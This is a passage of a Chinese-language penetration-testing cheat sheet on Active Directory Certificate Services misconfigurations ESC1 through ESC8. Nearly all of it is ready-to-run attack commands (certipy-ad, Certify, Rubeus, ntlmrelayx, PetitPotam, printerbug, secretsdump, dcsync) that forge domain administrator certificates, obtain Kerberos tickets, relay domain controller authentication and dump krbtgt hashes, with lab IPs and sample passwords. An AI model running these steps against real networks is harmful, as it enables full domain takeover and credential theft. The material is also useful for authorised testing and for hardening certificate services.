    表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
  • PkiExtendedKeyUsage: Client Authentication
    表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
  • Enrollment Rights: NT Authority\Authenticated Users
    表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
certipy-ad find -u [email protected] -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout

如果找到可以利用的模板ECS1,注册域管的证书

certipy-ad req -u [email protected] -p zs@123456 -target 192.168.149.135 -ca red-ADCS-CA -template ESC1 -upn [email protected]

#用证书请求TGT拿到域管哈希
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.149.133

secretsdump.py red.lab/[email protected] -just-dc-user red/krbtgt -hashes :nthash

ESC2

与ESC1相比,ESC2的模板的应用程序策略为无,即没有启用客户端身份验证的功能。

pkiextendedkeyusage为null。

ADScan.exe DomainGather /ADCS
certipy-ad req -u [email protected] -p admin@123 -ca adcs -target 192.168.75.156 -template ESC2

使用alimaomao证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式

certipy-ad req -u [email protected] -p admin@123 -ca adcs -target 192.168.75.156 -template User -on-behalf-of 'zpchcbd\Administrator' -pfx alimaomao.pfx -debug
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.75.202

ESC3

与ESC1和ESC2的EKU不同,这里的模板的应用程序策略为证书申请代理

ADScan.exe DomainGather /ADCS

以ESC3为模板申请证书

certipy-ad req -u [email protected] -p admin@123 -ca adcs -target 192.168.75.156 -template ESC3

使用alimaomao证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式

certipy-ad req -u [email protected] -p admin@123 -ca adcs -target 192.168.75.156 -template User -on-behalf-of 'zpchcbd\Administrator' -pfx alimaomao.pfx -debug

使用上面申请到的administrator.fpx来向域控机器进行身份认证

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.75.202

ESC4

WriteDACL ->ESC1/2/3

ESC6

在企业内部基于 PKI 为 Web 服务器颁发证书的场景中,管理员为给证书添加额外主机名,会在 CA 上设置EDITF_ATTRIBUTESUBJECTALTNAME2标志。然而,按照微软描述,设置该标志后,攻击者能利用这一机制为任意域用户注册证书。这意味着攻击者可以伪造合法用户的身份证书,从而突破企业基于证书的身份验证机制。

Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:User /altname:administrator

将申请的证书复制保存为esc6.pem,使用openssl转为esc6.pfx,密码为空即可

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用Rubeus请求域管administrator的TGT

Rubeus.exe asktgt /user:administrator /certificate:esc6.pfx /dc:192.168.110.127 /ptt

将域控制器身份验证注册后再次执行,成功导入票据

ESC7

不仅证书配置错误方面可能导致ADCS攻击,当证书颁发机构访问权限配置不当时也存在问题。

主要的两个权限是ManageCA权限和ManageCertificates权限,也就是就是“管理CA”和“颁发和管理证书”。

利用一:启用EDITF_ATTRIBUTESUBJECTALTNAME2进行ESC6

使用PSPKI启用EDITF_ATTRIBUTESUBJECTALTNAME2

Import-Module -Name PSPKI
$configReader=New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "DC1.t0ngmystictestad.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags","PolicyModulesCertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376950,"EditFlags","PolicyModulesCertificateAuthority_MicrosoftDefault.Policy")

AD域-ADCS错误配置-ESC5-ESC6中提到的修改EDITF_ATTRIBUTESUBJECALTNAME2需要重启CertSvc服务才能生效

之后打ESC6即可

ESC8

ADCS在默认安装的时候,其Web接口支持NTLM身份验证并且没有启用任何NTLM Relay保护措施。强制域控制器计算机帐户(DC$)向配置了NTLM中继的主机进行身份验证。身份验证被转发给证书颁发机构(CA)并提出对证书的请求。获取到了DC$的证书后就可以为用户/机器请求TGS/TGT票据,获取相应的权限。

certipy-ad find -u [email protected] -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout
#中继监听
python3 ntlmrelayx.py -t http://192.168.184.216/certsrv/certfnsh.asp -smb2support --adcs

#强制让域控机器向中继机器发起认证
PetitPotam.py Relayip DCip
或者使用printerbug
python3 printerbug.py mark/hacker@dcip  kaliip
Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt
dcsync red.lab red\krbtgt